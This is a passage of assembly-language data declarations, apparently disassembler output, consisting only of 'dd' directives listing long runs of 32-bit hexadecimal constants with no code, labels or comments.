		dd 5EC9024Dh, 717F8253h, 0E85F0226h, 563D9444h,	9ACA8E2Eh
		dd 70A7A359h, 3108B87Ch, 8FF27Dh, 48635C1Ch, 24D1BD0Bh
		dd 0BF049F9Ah, 22FBAA9Eh, 38DE881h, 650E8305h, 0C9960C9Eh
		dd 88151DDCh, 0BDF40695h, 0D9205CD7h, 48389A27h, 232D8403h
		dd 31A3D210h, 17D11A91h, 4A027A18h, 0BD2967E8h,	4DC9A989h
		dd 7F70C084h, 83787D63h, 0BE91211h, 0B100E538h,	0DAE44856h
		dd 0FB0BC84Ah, 6262E943h, 0E0CECD72h, 3A52E133h, 0DE8DF60Eh
		dd 0C0296A89h, 11084DA4h, 66601405h, 8C19B8h, 5606D636h
		dd 0BD2B9487h, 2775FD4Dh, 547B0EB9h, 8C15E8EDh,	60DB0B1Ch
		dd 0AFE58DCCh, 4035EC8Bh, 0DAEE6114h, 792A217Fh, 0B818EF16h
		dd 0B114A605h, 0D08B8822h, 9F2638DAh, 961B11F0h, 0A1AB2960h
		dd 1E12683h, 2E271C4Fh,	19467C97h, 0DD487501h, 20AAA30Fh
		dd 9EABF55Eh, 0EFC4B269h, 0F39640C0h, 0B60658C2h, 0F87346F4h
		dd 0C33BBCB5h, 9D40D95h, 13E98461h, 1E3C9D40h, 3E016C0Bh
		dd 3E7C8A6h, 0AF40D9C0h, 2B31F214h, 0A4F1E047h,	2C18D640h
		dd 0B1F84805h, 0E824821Ch, 0BF0F0313h, 51211F6h, 0FFB70A26h
		dd 0E894128Bh, 0F76E0F66h, 4DB66553h, 5AF2FB05h, 272B794Dh
		dd 2FF0EA36h, 551C2BB1h, 5828D9Ch, 0E18B7F78h, 0D7492181h
		dd 7C08A4A4h, 2F281446h, 515968C6h, 3F30965Ch, 1A23D7h
		dd 8074699Ah, 0F5811B9h, 0DC575C49h, 0D0505FA8h, 9D1223FFh
		dd 0DE2D10B9h, 3CA82079h, 0CD7B9802h, 8227D780h, 90297DE2h
		dd 840F95F1h, 49FFA51h,	0E204B60Fh, 59999DBh, 0E8A0BE11h
		dd 60D07740h, 0B80A5D39h, 609E91C7h, 20499D8Bh,	0F2CCCA84h
		dd 817E99Ch, 0F1801811h, 30AE4B59h, 97D350CAh, 12536B25h
		dd 3E2D5D0Ch, 12152333h, 0BD190427h, 8BFA9275h,	0C8E82FA5h
		dd 0D00EFD7h, 0C0F29D0Ch, 0F7E1BEh, 617654ECh, 3906036Dh
		dd 0AB8B3E2Ch, 5B292610h, 239CA98Fh, 0C13E5850h, 9FE694DAh
		dd 801D1107h, 0B69FB7Eh, 0EF4F04B1h, 0AC145C9Fh, 95F38054h
		dd 0E86881BCh, 7D3A0023h, 4D860154h, 560183D6h,	0DD87855Ah
		dd 6C5737B4h, 87F5A008h, 611444EDh, 98F760C0h, 397BC20Ch
		dd 8828570Fh, 6158022Ch, 0B498589h, 0DFBB135Ah,	391F37AFh
		dd 0C67F50FDh, 2BF012EAh, 0E96F61h, 4D4A0130h, 0BC099D89h
		dd 7EB0781h, 9E98761h, 1C91549Fh, 1E008C8Eh, 4E49E0A7h
		dd 7430E32Eh, 0EBD801DEh, 0D3AF8279h, 8BB05898h, 75E9C118h
		dd 1366600Fh, 82A8D88Ch, 6A2035E8h, 74B5FF01h, 0F0A19555h
		dd 0DBAC73FCh, 0D182D0E2h, 8B003591h, 31EFC1FEh, 43C680Ch
		dd 1EB6B920h, 0D975702h, 95FFFBC1h, 32E91A41h, 85C66B85h
		dd 5649D0B1h, 303BDF68h, 287EEEC5h, 3321D010h, 24CD0EA1h
		dd 6A6350C0h, 4056057Ch, 1461126Eh, 0D4E0C1C3h,	1C8F4F00h
		dd 8ABFA25h, 0DAC6A107h, 0D4A1A4ACh, 0E4C55CD2h, 1D34CEC0h
		dd 431BF531h, 0D129B327h, 0C7DD5BC8h, 17E62A1Fh, 0EDF3D3Fh
		dd 14A6DB67h, 187F801h,	2352DDB4h, 0C29ED920h, 0F8DE921h
		dd 557A3Fh, 38DF3CECh, 1083FD9Eh, 4B12ADBDh, 973B7A08h
		dd 211D0889h, 4D3EB814h, 0B661BC3Ah, 2910D0h, 0D196F9B9h
		dd 0BA04C232h, 801DFAADh, 660DC08Bh, 9CB441B9h,	751113EDh
		dd 31128809h, 8C749F14h, 0B8345350h, 4CD06Eh, 0B2309D8Dh
		dd 150590ABh, 1C585BD3h, 1A211188h, 0C9B17D88h,	97D5AE06h
		dd 0F7D28103h, 7828D9CFh, 71F1756Eh, 0F53524DFh, 1C590930h
		dd 957FDB70h, 0BA669BA8h, 90E66C12h, 3A00A0A2h,	0E4C8F09h
		dd 0FE01DDF1h, 0A27EA853h, 0BC339050h, 17251100h, 8F5F47A6h
		dd 0BD8E4200h, 0CC061C79h, 1ACE0601h, 7A5A7736h, 5B791645h
		dd 0FA0361B8h, 0E44D7C29h, 1541B149h, 81071D28h, 0C13D87D1h
		dd 40E8902Eh, 0DEEB961h, 53251500h, 177A3C19h, 60482595h
		dd 0A63EA2C4h, 6A9600D5h, 5ED03CCFh, 665A07EEh,	5461F38Bh
		dd 80D9B850h, 98C502B5h, 4A52F8Ah, 75224C90h, 0A3833905h
		dd 0C70F9059h, 19D1D689h, 660011ADh, 6EECDF81h,	52E18B61h
		dd 45800EE9h, 4F53F3FDh, 0B500EE51h, 686FB986h,	97FC2843h
		dd 1241E205h, 0C0A8DB9Fh, 60199FD2h, 114202F8h,	1409B589h
		dd 0C5088F0Ch, 3219964h, 56A2F756h, 7B551634h, 84B826FDh
		dd 668E7D03h, 0CA90DCB1h, 10667493h, 1E9D541Fh,	2F8BEB91h
		dd 8B36BD01h, 0B28745BCh, 92AA20F9h, 0CB9B36B3h, 0B7DB4717h
		dd 60161380h, 6D208D29h, 0E8611125h, 0A7D20004h, 5250D49Ah
		dd 98E603BAh, 310F7206h, 0C04126Ch, 458515Ah, 204F04BFh
		dd 4A6432BFh, 3D555200h, 0B5ADF0FCh, 0CC8E0003h, 3E5A1909h
		dd 0A7756B04h, 3B3A1F91h, 47348CFh, 6DAA7679h, 5F416DC9h
		dd 0A14E58D6h, 22C01B88h, 1CF94BAh, 2FBC9BC6h, 3CE58D31h
		dd 81644DBEh, 7977BF66h, 0FC44203Eh, 6B0119E8h,	0EF6937DAh
		dd 77666489h, 446E4Eh, 9B40D7F9h, 1A8B43A6h, 8D2275BDh
		dd 0CD8D9E60h, 0F4BA01E1h, 0B974EAC9h, 291E411Dh, 4D95828Fh
		dd 83C0A1Ah, 7E661221h,	0F98B2427h, 8DE9EF19h, 68010979h
		dd 3A9DEF41h, 8A57EC40h, 0B95F40D3h, 0B6A2171Eh, 8116EFE8h
		dd 0CA052404h, 67B64F71h, 798B8E0h, 0CB7F4815h,	0C0BA90BEh
		dd 84DA462Dh, 0D0600481h, 60F88672h, 52ADB501h,	9948990Ch
		dd 8291CB28h, 7104607Fh
		dd 7A8BA413h, 1E2D8611h, 40926F01h, 9D297C56h, 8436DD4Ch
		dd 4BACCDBDh, 0F7D59659h, 165F9EBCh, 0C50DFF20h, 17580799h
		dd 0C0445563h, 8247F391h, 0B3AC7D03h, 898BA51Bh, 0DE235ACBh
		dd 1F6D3900h, 0B5EFBFD4h, 28BD1D5Ch, 0F0B4EE51h, 643B2940h
		dd 7C4712BDh, 4ED5373h,	92D2D5FEh, 0BE4C8BE7h, 2014C3EFh
		dd 85916455h, 19888A0Fh, 0A72B04BAh, 0AD584576h, 0B31B835h
		dd 6212D169h, 2DC92B00h, 12937C35h, 0D5257728h,	7B3A3A16h
		dd 3C657069h, 35EC0602h, 40C88BFAh, 37852926h, 696F3325h
		dd 60521D11h, 2840CD82h, 5AF5AC5Ah, 52D3886Ch, 0BE679400h
		dd 920742DEh, 0C01EB889h, 0D08A5FBFh, 9A38AB68h, 51DCE7h
		dd 3481B101h, 14EA2824h, 0B3FC3CE2h, 8C0D6E12h,	9D1489F0h
		dd 1B7D0F35h, 0BA193C26h, 2BC02C21h, 8699510h, 7429458Bh
		dd 83CB2084h, 98CF6186h, 24CCD944h, 630148A5h, 0A64049A2h
		dd 688007B9h, 0FC73B002h, 0D486720Fh, 12502C3Dh, 902290C8h
		dd 8C14E14Fh, 0F417E71Ah, 0E6DB75F5h, 824C6380h, 8AACE984h
		dd 12E2E0ADh, 25DA40FEh, 29A7A511h, 1816D15Ch, 921172D2h
		dd 4A335A17h, 1FC8F9FFh, 512DB0E8h, 1B004D5Dh, 8D3F294Fh
		dd 3E1A320Dh, 0B00B5282h, 0AEC4A7DDh, 729AFD00h, 1C1F4658h
		dd 5FE2170Ch, 619A4870h, 2680446h, 0D93768D7h, 0C589811Ah
		dd 21C4F608h, 36C982BEh, 6FC07EE5h, 0E87BF49Eh,	8602488Bh
		dd 4E3FB902h, 14642CC4h, 200139B9h, 43D8CC0Fh, 0AB70C0C9h
		dd 8D811A5Bh, 4CC6659h,	0D0641B91h, 30FB965Eh, 9F67BAE5h
		dd 3605805h, 4DA0B1BDh,	27F89CF9h, 47C02D4Dh, 0A1D43EAAh
		dd 0D16CD991h, 118E2324h, 0D951714h, 4DBAB7D0h,	512CCACDh
		dd 5B37ADA7h, 4F732700h, 4542CF1h, 4985C736h, 0C2C3F81Ch
		dd 499D9523h, 0BE786A9Fh, 8C1DE8h, 9A90490Ah, 0A885B517h
		dd 680063ECh, 4F9CF806h, 15575360h, 0C8505E58h,	2EAC61C9h
		dd 0D9B19D2Ah, 0F6181CD9h, 0A5A2F300h, 0E57FE2ECh, 0BD09174Fh
		dd 9059A0C5h, 40603AA1h, 3B91BBF9h, 6168B51Bh, 46C9FF86h
		dd 0ADF20Bh, 181CEB4Dh,	0AEF3A229h, 4CAC4800h, 3351DA35h
		dd 60A11C58h, 68D2795Eh, 0E815C85Eh, 9EE14701h,	0F487F664h
		dd 7A8CDD8h, 0F1C0AB28h, 9901161h, 5024F18Dh, 0CE8B0BBDh
		dd 1E54F690h, 8295B6D1h, 2A038C5Fh, 50D30954h, 32549403h
		dd 16A685FCh, 29BD201Dh, 2E4D91B5h, 2869761Ch, 0F5F3024Dh
		dd 60960231h, 19093140h, 61A6B218h, 0FBD18B52h,	3011213Fh
		dd 0BE87F064h, 3180FB91h, 23151B83h, 0EAAB03BAh, 5F6F6351h
		dd 0C2C8412Dh, 7051FB24h, 0CAD68017h, 18A49126h, 0BC94E1BEh
		dd 61801DD1h, 0CC0580Bh, 0B22E0D22h, 0B9361ABAh, 11C92E2Ch
		dd 0D1BF60BDh, 514BB58Bh, 0E100E57Bh, 0A6FA1CADh, 8D0E174Ch
		dd 85292046h, 0E0490B75h, 11F79D04h, 7907801Bh,	1EDAC1A6h
		dd 0BDF460C5h, 0F3CDC8CBh, 0EEBEF702h, 0AC5A3244h, 0A2CED4B0h
		dd 0F2B54496h, 25F9998Bh, 0B968B390h, 55BBE905h, 0E080E06Ch
		dd 4A8531C7h, 5FDE0A65h, 4B848DA6h, 0B8162933h,	89F43A6Fh
		dd 1FAC801h, 20CD95h, 26BBD580h, 0AFE73AE9h, 0E6031837h
		dd 86207E80h, 4DA4FDAAh, 816000D8h, 4BE3DAF2h, 26BF2E02h
		dd 0AB6FB2C8h, 993C04CFh, 4DA40852h, 129383A6h,	89AFC1D3h
		dd 75ACE4E9h, 0C259006Dh, 5A519040h, 11BF5003h,	0CD55DB5Bh
		dd 1823F13Ah, 6CEF4600h, 70BF58A2h, 62161692h, 0A224A36Ah
		dd 0BD403216h, 0DEC829E9h, 1F90270Ch, 0B600DD39h, 2E1F48A7h
		dd 0FE41868Dh, 0EC2398D3h, 18208A11h, 8973291Bh, 0B02FC000h
		dd 1660179Fh, 0F5008C2h, 8B800288h, 0E78190F8h,	0B059128Ah
		dd 0FE3E6775h, 0A42C89C4h, 541C17Fh, 0D421D8F1h, 0D48A2300h
		dd 0FFB91E58h, 0E0569666h, 274484B7h, 25E912F8h, 0C87CCE03h
		dd 83C6C319h, 166A7790h, 4388025h, 22A81720h, 0E2D60879h
		dd 89852EE9h, 0A142C19Dh, 76BD9529h, 3A4812C1h,	172383h
		dd 8871557Eh, 3B48D38Ah, 820FC538h, 6E76CFFDh, 0A2190B80h
		dd 2281425Ch, 0FCE96022h, 90B78099h, 0F6C7C938h, 56D95013h
		dd 61DFB106h, 0DA2F6438h, 107554A7h, 402F2A5Dh,	0F5009964h
		dd 0DCCC5382h, 3C4B967Dh, 0DF9DC94Dh, 0B2EE402Eh, 0BD835FB3h
		dd 0B820554Ah, 83011A84h, 0EDD77026h, 0B69BB904h, 0F8603ED3h
		dd 0A8133DBDh, 0A84585F2h, 0B403619Ch, 1E0B4A5Bh, 9005E03Dh
		dd 545004BFh, 7960B687h, 903813CBh, 0D1B7244Bh,	1ADC2486h
		dd 19714BA9h, 0B6569082h, 0B9C54060h, 0B1FB1E9Eh, 8166C172h
		dd 257377C1h, 0E0EE2746h, 5072864h, 0ACE6C558h,	942FB889h
		dd 9D310962h, 587FE0EDh, 0BC5C90F5h, 5946874h, 57C7E9CBh
		dd 0E05FA69Ch, 90606FDBh, 170642BBh, 89806D95h,	5B61E18Ah
		dd 80F3DEC6h, 89315C2Ah, 0CAAD4CC6h, 8E0F850Ah,	30E12F22h
		dd 0F0703658h, 28EA6D9Eh, 1FCC8A83h, 267593BFh,	0D41E1497h
		dd 0D034EF0Bh, 35B8B380h, 594A9D74h, 3DB4BE17h,	0CBF10581h
		dd 650119EFh, 55D20EE8h, 8896C694h, 0AA0054FFh,	58F9E3CDh
		dd 1709ADB1h, 0A2252995h, 2E8412E4h, 0E4ECFCA9h, 0C0CD4C30h
		dd 3557A0C9h, 421D6E9h,	1404F981h, 0D0882E62h, 5150CAC0h
		dd 59133FB2h, 329AC2EDh, 5AC93E43h, 2ED0EA56h, 1B4AC281h
		dd 702CBDA3h, 424920B9h, 0B1134584h, 0DFAC08B5h, 0B3719680h
		dd 3019E2D6h, 9800E5FEh, 0BFDDA9AAh, 5AC7B8EEh,	2F6DC97Ah
		dd 50295238h, 4DBDDA9Ah, 344AF395h, 76D7F529h, 1FD0E000h
		dd 15A1F9E9h, 0EFEC2F32h, 7D9D2915h, 0C6810CF5h, 2FE9791Ch
		dd 0D60FB31h, 0BAAA3D8Dh, 0BEA42559h, 58FD0F9Fh, 0F2E3C0F7h
		dd 4EB15750h, 0BA0E2013h, 0A03C6080h, 2D5ED809h, 0CAF498ECh
		dd 0E5B7BF58h, 0B5022125h, 0E9B96A99h, 0BA093220h, 0B701B67h
		dd 84589282h, 88571330h, 2300A05Dh, 0FAF1D597h,	5F34E59h
		dd 4877047Ah, 47AA6CFh,	37D315C7h, 16F52884h, 68552E20h
		dd 69E10D10h, 0CE70E5DBh, 0F14C0748h, 875B589h,	0B3090424h
		dd 175660E1h, 0C4F59295h, 0A959FD0Eh, 19BD828Ah, 8A900022h
		dd 0E9BE50F1h, 0BE5D5A25h, 8E906B64h, 0DC05D65Ch, 5089A2EFh
		dd 32015784h, 8256D281h, 2191F48Bh, 19229044h, 0A2314811h
		dd 2B6A0D25h, 0DCB756h,	75947854h, 5CA2C87Bh, 0BD0BC906h
		dd 4A5934F1h, 8853DECAh, 9642D697h, 121509C4h, 0ECD2F30Dh
		dd 49B8F22Dh, 0ED825700h, 0B11814D7h, 581D255Eh, 83C0A5EDh
		dd 7C93B75Dh, 0F7F80048h, 0AB55CA81h, 94985003h, 0C2CD1954h
		dd 379F0870h, 661300DBh, 7680CB6Ch, 7BEB8524h, 0F935AB38h
		dd 43DC6D2Dh, 0F480027Eh, 0D92480B8h, 8B114E19h, 0F8316858h
		dd 31745C0h, 0E3A06BAh,	49EA81F0h, 0C22683ECh, 211BEB14h
		dd 38FFCF29h, 802CD14Ch, 0FF5C6450h, 9A3B9C33h,	0FE0E2589h
		dd 2B58C1FCh, 0F01A93C2h, 97F7F14h, 845A4D38h, 9A58129Bh
		dd 30E3C50h, 0CC3A81D0h, 0BE841945h, 10094E6Bh,	4CD934A6h
		dd 0C8598BE4h, 1A34205Ch, 4F3C4003h, 1702F8E9h,	903CDE9Ah
		dd 51B082Dh, 1C0C5BF8h,	20D1030Ch, 4D076FE9h, 2512086Ch
		dd 8F645FC2h, 836D8105h, 213F04C4h, 208B51A4h, 81141050h
		dd 6114B0A9h, 0C03359B5h, 2FBD2D20h, 0A7A227E9h, 14742484h
		dd 95684750h, 147B20A9h, 0E925126Ah, 0D651DD18h, 882ED38Bh
		dd 5A3F496Eh, 2B3818Eh,	5F2884E3h, 0CF11260h, 7498C781h
		dd 9602B926h, 6827E873h
		dd 812268EFh, 0EB2000E1h, 805B56C1h, 8B14E4C9h,	5E26007h
		dd 501A36CAh, 0D9937280h, 635A35h, 0C442C098h, 0D8B14E2Dh
		dd 18313D80h, 722024h, 5D75AEB6h, 8154F2C9h, 958EE83Fh
		dd 183A8Bh, 74A7A215h, 7068B6h,	0DDFF7357h, 0F08113ACh
		dd 0C19EBD0Bh, 133E4E6Eh, 880789CFh, 1002620h, 3B035060h
		dd 748E3A6h, 83F81CCBh,	0D680D0EFh, 2D34F9Dh, 3C45B51Eh
		dd 14C9EB81h, 0DC72123Bh, 7C00374Ah, 8314DC3h, 93664DEh
		dd 0E9893449h, 0E66D15C8h, 256A4400h, 8F0FB8F2h, 9A29A20Bh
		dd 0F2A20020h, 49E941D5h, 1C006751h, 0EFC5332h,	0C006C21h
		dd 622925D2h, 74A1281Fh, 95B070Ah, 3799FA2Ch, 5379085h
		dd 3674E28Dh, 201EF430h, 99F249h, 1D56EECBh, 9ADD6647h
		dd 5E83340Fh, 9FC4404Dh, 0FAECBFh, 590954C5h, 1C4CDA26h
		dd 7B43300h, 3964130Ch,	9AA81D3Bh, 5823D851h, 1700A185h
		dd 0D024A4E5h, 5D32F6Ch, 6FCF07B1h, 0D9E10321h,	2002F54Bh
		dd 0EEF7155Bh, 23209E29h, 0E832CE42h, 99F8302Ah, 0FA853208h
		dd 40F16436h, 7799F04Bh, 7F4A00B4h, 0F8E7D138h,	460051E4h
		dd 0C61760E0h, 1D0C2354h, 350A72F1h, 0E0C48758h, 43378020h
		dd 47885718h, 0C00BF108h, 603A4B20h, 0E206262Ah, 8BFE20D1h
		dd 0C0902D0h, 0FDA8DFA6h, 0CB829C80h, 760CF2Bh,	0A5708059h
		dd 560062Ch, 1806DD87h,	84C2D203h, 0F90223A9h, 48DDD424h
		dd 83B481F2h, 9850A7D9h, 0C1068773h, 0CD78E048h, 0D7A60049h
		dd 0C5F932C0h, 2E30F4C9h, 801D1160h, 84F3884Fh,	80603746h
		dd 75F62806h, 8690330Ch, 9F59929h, 0D380534Fh, 90470986h
		dd 0F444C087h, 0ABC06F60h, 826A1A03h, 22F68FD1h, 0A137EFD1h
		dd 0B7A05103h, 23D8349h, 3A1A41BDh, 0FE2BFA6h, 352ED403h
		dd 0FCC8F010h, 33C0EF88h, 46802260h, 2F52247h, 2603C49h
		dd 0D8ACECA1h, 48C29D0h, 853399F9h, 81B867F2h, 699F14Ah
		dd 58989C19h, 88803C20h, 0CC835A8h, 0E4385B09h,	3F000C51h
		dd 0A634CA24h, 3307E50Eh, 3908169Eh, 2BDE2100h,	0AE2D69CAh
		dd 5EF9077Eh, 74E3905Ch, 0B8281054h, 0B9758C38h, 242FD900h
		dd 6C08780Eh, 0E8CF14A8h, 913C9CEEh, 1BFCA451h,	61EC8BC6h
		dd 80EC6034h, 0C01C913Fh, 98603D48h, 0EE7C2E00h, 2B888C69h
		dd 849A05BEh, 44DA8FD9h, 4805DFF0h, 80F59C06h, 0D1E58D72h
		dd 0B02454CCh, 0BC0830FCh, 0F5467C33h, 8586F800h, 875EC273h
		dd 0C8048930h, 0F03B09F1h, 0C78CA359h, 0F7CB3260h, 282D06D3h
		dd 845DC23h, 3721626Ah,	0C174CB00h, 5788F51h, 0A76FCEC8h
		dd 95F0088Ch, 20603464h, 0A62130CAh, 27E2C0EEh,	0D500AFCAh
		dd 76D2AE87h, 67ACA152h, 6AFF2021h, 4E1F82F4h, 36200B86h
		dd 505CC026h, 982FD8F0h, 83D8FC8Ch, 13AD823h, 0D3F8CB33h
		dd 19000E35h, 0A368CB3Bh, 9E0BD761h, 0B42943h, 15A04591h
		dd 0E42F0C25h, 203057F6h, 51C8D05Ch, 8008FD0Ch,	0C444DF91h
		dd 13A5E73Eh, 3E01CCD7h, 1FF0239Ch, 0DC2780B9h,	8D82FD93h
		dd 704CD109h, 0E400011Eh, 88AC5832h, 1C950159h,	94D5F3B2h
		dd 10C4FCF8h, 0A81C4D25h, 41C024C7h, 56AA590h, 11E1001Fh
		dd 0CB2E8037h, 8C0DD3FBh, 166144h, 601BCB36h, 561E172Bh
		dd 0A1846206h, 1580FE37h, 8807824Eh, 65D66600h,	56DAE38Dh
		dd 3911D491h, 33CA2380h, 448C16A6h, 2A40DF3Bh, 74A50013h
		dd 3A32238Ch, 4D18F0C7h, 349058Ah, 0B0E374D2h, 8041E30Ch
		dd 44222EA1h, 1E0F3623h, 0FEA6C4CAh, 0E4203362h, 3052CA25h
		dd 35F16B86h, 27017AA1h, 99DE6C1Ah, 0B2E13B93h,	64170F0h
		dd 40A1AC12h, 0DA0B8923h, 22A4E0A7h, 0A253450h,	802C11D8h
		dd 853099F6h, 10F78CEAh, 99EE4Dh, 24D6C098h, 1D8D8327h
		dd 22F4A113h, 3026C822h, 2E0A99FCh, 28371A85h, 99F447E0h
		dd 0F1063A43h, 1CDB8292h, 88281050h, 602DC0F5h,	5746801Ch
		dd 36EEF222h, 32706000h, 82DCBD13h, 61727190h, 988091C3h
		dd 0C404350Dh, 109091D2h, 0CCFCB324h, 61467Ch, 0B1C4C692h
		dd 21687DDh, 4CD41E9Ch,	0B08751FCh, 8EA275FFh, 0C0EC88ECh
		dd 0F6654067h, 0CD3C2903h, 0A99CE553h, 81805786h, 0ACD56C73h
		dd 925C3033h, 24BA9F60h, 21C02C3Bh, 46A631CAh, 1362226h
		dd 82CA28E1h, 0C80FAEF0h, 741733A0h, 604F2E88h,	3D09A55Fh
		dd 0CB308C60h, 8CD37BF5h, 71C6344h, 0A165CB38h,	4B9D0088h
		dd 2F61E454h, 5686CD50h, 0EEC0885Bh, 552F1D91h,	0DC001179h
		dd 6C9C655Ch, 90E996F4h, 2CD8201Ch, 0A7B3E20Fh,	1009ACBFh
		dd 0F13C0439h, 91FE7D4Dh, 5028E53Ch, 0EF7CAD80h, 6A2E3800h
		dd 77A5645Dh, 101C48FEh, 6318F16h, 1027ED38h, 0B1CE901Eh
		dd 1806FAD2h, 0A1F974h,	0EA3AB7E1h, 23F6D32Eh, 0F1E5ED00h
		dd 49049E73h, 8332092Ch, 440C7A9h, 602A74D0h, 5FF8B039h
		dd 3418E967h, 24AD4C2h,	48413885h, 831183Ch, 45D3F6CBh
		dd 391B70h, 0CCC72ACBh,	382E2448h, 56E08513h, 8168B01Ah
		dd 10E7AA7Ch, 197C0C2Ch, 1865E578h, 0E482FDA6h,	10C15779h
		dd 2524C826h, 3A49D034h, 50B8D423h, 0B181A0E1h,	0F1EC34EBh
		dd 62791091h, 7100CD18h, 0CFA63589h, 524E13E6h,	8800D8C8h
		dd 7F8DDDEh, 0DC000530h, 0D3A63CBEh, 0E8DA22F3h, 9B4940Ah
		dd 7804084Bh, 0CA1D6037h, 6A6232Dh, 0B87A3211h,	65EE0CC0h
		dd 2BC81ECBh, 384CFC42h, 8C60B8h, 0B73FC7C4h, 0B4F2B9Bh
		dd 80F9EF00h, 58BFA5F1h, 76A0AC1Ch, 21254274h, 71F4A17Fh
		dd 31863h, 96D6AC9Bh, 3A2F7CC3h, 8F27500Fh, 880D9B9h, 3AB83C28h
		dd 9746018Ch, 5E575119h, 991CFCE2h, 23B4D351h, 303AA22Ch
		dd 2100407Eh, 0DD32A060h, 3345D68h, 6FBB4F29h, 80BCCF80h
		dd 0C5FD9048h, 46746494h, 318D07F7h, 0E250A5D1h, 92614190h
		dd 94187368h, 0F7465E48h, 8676C901h, 0DD910230h, 9E508359h
		dd 0F87DB975h, 0F6787C34h, 0F1E4B16Bh, 79C21832h, 247C1227h
		dd 6608013Eh, 3084AB9Eh, 4028C035h, 0E48788F7h,	7A6333C4h
		dd 8497BE98h, 0ECA00098h, 995AE5h, 111FB00Bh, 3018F2B0h
		dd 8023607Eh, 1ED115Fh,	2D603944h, 29F85161h, 0D2821286h
		dd 793C04B8h, 0B928C1B5h, 64E0858h, 14FFC13Fh, 0DA758985h
		dd 0D649549h, 0E0F498DBh, 0ED88FC0Eh, 201A44C0h, 322E099Dh
		dd 4807FF9h, 83FDA25h, 1E4C1098h, 5D29147Ch, 3C6F93D4h
		dd 5826C000h, 1C886595h, 299AD300h, 5DAC948Dh, 90E95825h
		dd 0F3A23453h, 0F41AA38h, 0C7677ACh, 0ECA81737h, 0E8CC5878h
		dd 0B1078CF2h, 0A85D9E10h, 54D39CD1h, 3009C245h, 0DDD884CFh
		dd 0DC88F500h, 0CA00B84Dh, 0AD8B9E65h, 0A797A88Eh, 60F044C4h
		dd 0EAD96593h, 94DD1DB3h, 154382C8h, 28979AA8h,	0E180EC11h
		dd 44AF3906h, 0F59C4Ch,	658C8EEDh, 0B10D093h, 0F04CD9E6h
		dd 120C28A0h, 90148A54h, 3DF4674Dh, 3B72FF1Fh, 93C9D10Bh
		dd 0A698A356h, 400A82D7h, 75707C7Ch, 9462505Fh,	343204A9h
		dd 91D8BFA0h, 0E45809BCh, 94533A2Bh, 0CC028420h, 8844CE64h
		dd 85A7C233h, 16002072h, 0A1F04EE9h, 59D182BAh,	0D20F4CB7h
		dd 476480C9h, 4E6C8104h, 18A02987h, 0AE5130E5h,	0F2B00E7h
		dd 0A9B1CEBh, 56002DBAh, 7521A9D8h, 0E27913BDh,	0C26A0092h
		dd 0D1EF5030h, 0A5097BAEh, 0ABFBE4C7h, 11209DC0h, 50A58039h
		dd 1C5DBAF8h, 49807DEEh, 4A146BDh, 321944CFh, 0D8106738h
		dd 887C01C8h
		dd 0E25C4379h, 0F9006C59h, 444B47B9h, 143C0015h, 0D9AEA697h
		dd 3202BA9Ah, 0CB8A2801h, 0E03CED21h, 5A1E79B7h, 6DEA7800h
		dd 564DFE8Dh, 0C7A70CBEh, 289818A8h, 0E5F638B8h, 3A6B8C0Fh
		dd 70592CCCh, 9E5898D9h, 0EC465E5Ch, 0A02A3A00h, 0D094B635h
		dd 2BD7A302h, 7037D983h, 747E0910h, 0C404CA4h, 7C0FCF7Bh
		dd 0AEB6ADh, 0EC0BD985h, 0B828C7A4h, 0FBAF838Ah, 0FE5C1003h
		dd 535AD788h, 3AA244E8h, 584F30h, 0E668B994h, 78EEB5E3h
		dd 0A5D28CA0h, 2464E710h, 3A0A2316h, 4372378h, 0C1AB2AC1h
		dd 0EDDFA8CDh, 85CC2820h, 0A4400272h, 0A3681A83h, 0F81839BEh
		dd 0C7391E82h, 9207C4Dh, 0E64C2C33h, 61D0A934h,	943625F1h
		dd 2F99FD02h, 9CF11285h, 99F54660h, 5C2B0101h, 863D2D96h
		dd 6910244Eh, 0FE805100h, 0A493B42Eh, 0CE5501D4h, 788E1DF2h
		dd 6840DE05h, 31C0CF2Ch, 0F9C84E5Bh, 0E4DE0C46h, 87184D1Ch
		dd 201FC4A8h, 83E08812h, 49B7056h, 26A0EC8Eh, 0DA46DBB8h
		dd 0B983490Eh, 18011263h, 0A93284D0h, 0BC2C1021h, 0F28CF0BCh
		dd 42800F1h, 0D4BA53CAh, 86307BB8h, 208CC155h, 6725007Dh
		dd 82A771B3h, 87303C32h, 7C552166h, 0D588005Dh,	628E6B3Ah
		dd 0E20761A5h, 6E3BCFCCh, 151C9A60h, 4A050BBEh,	79855375h
		dd 0B0C0A608h, 1C82AA8h, 1DABF99Dh, 21057082h, 7E03CCBAh
		dd 5B10D448h, 0F123083Bh, 74810F07h, 1450DE40h,	1D5C0592h
		dd 4001D72Ch, 0B22B29F4h, 64B4F48Fh, 0A6679402h, 1E044437h
		dd 307170E2h, 0FCD79C90h, 89A8F64Ch, 3214B0F0h,	80211360h
		dd 60CB2Fh, 8C603B4Ah, 1C962655h, 0F9D0FEC5h, 9C618D04h
		dd 0E250F2F0h, 0BAA83066h, 9C1F25FCh, 0BC2444C7h, 3D20A020h
		dd 392C7947h, 9F25CEB1h, 0EE744883h, 0D928B164h, 0E05ACF40h
		dd 6861A988h, 290A8510h, 54F74820h, 1B828CEAh, 20511190h
		dd 0D4F90BEBh, 8AFEF05Ah, 188C9149h, 48A16986h,	0F7DC00A5h
		dd 28ABA342h, 0FD0094CDh, 0ED63B656h, 3A1FD3C5h, 0C1932C5Fh
		dd 0A870D091h, 8EEF70BFh, 239DCCC9h, 0F012237Ah, 18A18529h
		dd 90A5035Fh, 2226E3C8h, 2B12E9D4h, 7894B481h, 0D935A898h
		dd 0BCB89348h, 0B8D19806h, 15A9A8FEh, 0CCFD741Fh, 4085527Bh
		dd 881E8021h, 203881A5h, 0FC54F4C0h, 0F52350C0h, 28140152h
		dd 580BC9DAh, 418443ABh, 7397490Ah, 0A189B422h,	3F4820FCh
		dd 0C0FAAFh, 9A62946Eh,	99D1CF6Fh, 0AC5E8905h, 0DC8117EEh
		dd 0B86C906Ch, 0CFC331Eh, 0FFE1787Ch, 0E0A2D302h, 14FC190h
		dd 0F3087BA0h, 0D90246DBh, 0AA1D292Ch, 42DC923Bh, 58286214h
		dd 64DA28ACh, 60CE7D28h, 0BB973953h, 8E0137C0h,	9B7DABA6h
		dd 80497880h, 0FE8BBEC4h, 9A0A486h, 5FC254D0h, 0D41750A9h
		dd 1F80F091h, 0D1014BA2h, 1501DA71h, 70DC6604h,	0D1FA61C7h
		dd 186779D8h, 0B4E711Bh, 74E79BD4h, 76D4440Ah, 9102F446h
